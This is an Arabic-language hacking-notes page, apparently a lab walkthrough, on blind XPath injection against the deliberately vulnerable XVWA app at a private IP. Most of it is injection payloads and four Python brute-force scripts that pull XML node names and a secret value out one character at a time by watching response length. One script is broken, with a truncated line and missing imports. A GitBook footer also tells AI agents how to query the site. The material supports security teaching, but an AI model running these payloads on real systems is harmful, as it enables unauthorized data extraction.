> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/xpath-injection-attack/xpath-injection-techniques-pentesting-web.md).

# تقنيات حقن XPath

هذه هي صفحة الويب التي تدخل فيها عددًا من القهوة وحقولًا أخرى مثل **المعرّف، والعنوان، والوصف**، إلخ.

<figure><img src="/files/cd97021b2f9637c78ea125b5ff4319a409da619a" alt=""><figcaption></figcaption></figure>

هذا هو **ملف XML** الذي ينبغي أن نحاول الحصول على المحتوى منه:

<figure><img src="/files/db538e5192f38ed74b034fe8519d0122b86379bc" alt="" width="563"><figcaption></figcaption></figure>

### خطوات الحقن:

#### **نقوم بتصفية العنصر الرئيسي في XML:**

نقوم بالتصفية باستخدام **substring** إذا كان الحرف الأول يبدأ بـ C من كلمة Coffees:

```xml
1' and substring(name(/*[1]),1,1)='C

```

<figure><img src="/files/f9bf9f0b6d1f59425edce569dadf3118031d461b" alt="" width="563"><figcaption></figcaption></figure>

هذا **Python** يقوم هذا السكربت بأتمتة العملية بأكملها:

```python
#!/usr/bin/python3
from pwn import *
import requests
import time
import sys
import pdb
import string
import signal
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)
## تقنيات حقن XPath
signal.signal(signal.SIGINT, def_handler)
main_url = "http://192.168.71.133/xvwa/vulnerabilities/xpath/"
characters = string.ascii_letters
def xPathInjection():
    data = ""
    p1 = log.progress("هجوم القوة الغاشمة")
    p1.status("Starting brute force attack")
    time.sleep(2)
    p2 = log.progress("البيانات")
    for position in range(1, 8):
        for character in characters:
            post_data = {
                'search': "1' and substring(name(/*[1]),%d,1)='%s" % (position, character),
                'submit': ''
            }
            r = requests.post(main_url, data=post_data)
            if len(r.text) != 8681:
                data += character
                p2.status(data)
                break
    p1.success("اكتمل هجوم القوة الغاشمة")
    p2.success(data)
if __name__ == '__main__':
    xPathInjection()

```

<figure><img src="/files/0abe62c648b0c389774c46bad919e15b1b04a238" alt="" width="563"><figcaption></figcaption></figure>

#### نقوم بتصفية الوسم الفرعي في XML:

نقوم بالتصفية باستخدام **substring** إذا كان الحرف الأول يبدأ بـ C من كلمة Coffee:

```xml
1' and substring(name(/*[1]/*[1]),1,1)='C

```

<figure><img src="/files/28710c0aa83f6915accbbf3dd46e3cdcdddf7b02" alt="" width="563"><figcaption></figcaption></figure>

هذا **Python** يقوم هذا السكربت بأتمتة العملية بأكملها:

<pre class="language-python"><code class="lang-python">#!/usr/bin/python3
<strong>from pwn import *
</strong>import requests
import time
import sys
import pdb
import string
import signal
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)

## تقنيات حقن XPath

signal.signal(signal.SIGINT, def_handler)
main_url = "http://192.168.71.133/xvwa/vulnerabilities/xpath/"
characters = string.ascii_letters
def xPathInjection():
    data = ""
    p1 = log.progress("هجوم القوة الغاشمة")
    p1.status("Starting brute force attack")
    time.sleep(2)
    p2 = log.progress("البيانات")
    for position in range(1, 7):
        for character in characters:
            post_data = {
                'search': "1' and substring(name(/*[1]/*[1]),%d,1)='%s" % (position, character),
                'submit': ''
            }
            r = requests.post(main_url, data=post_data)
            if len(r.text) != 8686:
                data += character
                p2.status(data)
                break
    p1.success("اكتمل هجوم القوة الغاشمة")
    p2.success(data)
if __name__ == '__main__':
    xPathInjection()
</code></pre>

<figure><img src="/files/cec42c200c56b899f7dd3c6d3afa18156b232674" alt="" width="563"><figcaption></figcaption></figure>

#### **نقوم بتصفية سمات XML:**

نقوم بالتصفية باستخدام **substring** إذا كان الحرف الأول يبدأ بـ I من كلمة ID:

```markdown
1' and substring(name(/*[1]/*[1]/*[1]),1,1)='I

```

<figure><img src="/files/34f70d7f14399d14c05508a760424c11a3f30d7a" alt="" width="563"><figcaption></figcaption></figure>

هذا **Python** يقوم هذا السكربت بأتمتة العملية بأكملها:

```python
#!/usr/bin/python3
 import time
 import sys
 import pdb
 import string
 import signal
 def def_handler(sig, frame):
     print("/n/n[!] Exiting.../n")
     sys.exit(1)
 # Ctrl+C
 signal.signal(signal.SIGINT, def_handler)
 main_url = "http://192.168.71.133/xvwa/vulnerabilities/xpath/"
 characters = string.ascii_letters
 def xPathInjection():
     data = ""
     p1 = log.progress("هجوم القوة الغاشمة")
     p1.status("Starting brute force attack")
     time.sleep(2)
     p2 = log.progress("البيانات")
     for first_position in range(1, 6):
         for second_position in range(1,21):
             for character in characters:
                 post_data = {
                     'search': "1' and substring(name(/*[1]/*[1]/*[%d]),%d,1)='%s" % (first_positio
                     'submit': ''
                 }
                 r = requests.post(main_url, data=post_data)
                 if len(r.text) != 8691 and len(r.text) != 8692:
                     data += character
                     p2.status(data)
                     break
         if first_position != 5:
             data += ":"
     p1.success("اكتمل هجوم القوة الغاشمة")
     p2.success(data)
 if __name__ == '__main__':
     xPathInjection()

```

<figure><img src="/files/ce7ac5b71242acc87941ba706d11b0053584ebee" alt="" width="563"><figcaption></figcaption></figure>

#### **نقوم بتصفية XML الخاص بسمات المحتوى:**

نقوم بالتصفية باستخدام الـ **substring** إذا كان الحرف الأول يبدأ بـ T في العبارة السرية:

```xml
1' and substring(Secret,1,1)='T

```

<figure><img src="/files/bee0cc76d6981dc9f4833480aacaf09f1abbca5f" alt="" width="563"><figcaption></figcaption></figure>

هذا **Python** يقوم هذا السكربت بأتمتة العملية بأكملها:

<pre class="language-python"><code class="lang-python">#!/usr/bin/python3
<strong>from pwn import *
</strong>import requests
import time
import sys
import pdb
import string
import signal
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)

## تقنيات حقن XPath

signal.signal(signal.SIGINT, def_handler)
main_url = "http://192.168.71.133/xvwa/vulnerabilities/xpath/"
characters = string.ascii_letters + ' '
def xPathInjection():
    data = ""
    p1 = log.progress("هجوم القوة الغاشمة")
    p1.status("Starting brute force attack")
    time.sleep(2)
    p2 = log.progress("البيانات")
    for first_position in range(1, 100):
        for character in characters:
            post_data = {
                'search': "1' and substring(Secret,%d,1)='%s" % (first_position, character),
                'submit': ''
            }
            r = requests.post(main_url, data=post_data)
            if len(r.text) != 8676 and len(r.text) !=8677:
                data += character
                p2.status(data)
                break
    p1.success("اكتمل هجوم القوة الغاشمة")
    p2.success(data)
if __name__ == '__main__':
    xPathInjection()
</code></pre>

<figure><img src="/files/7a041fd1faae97b97ed5a8f0a8b3c55ac2d8b38c" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/xpath-injection-attack/xpath-injection-techniques-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
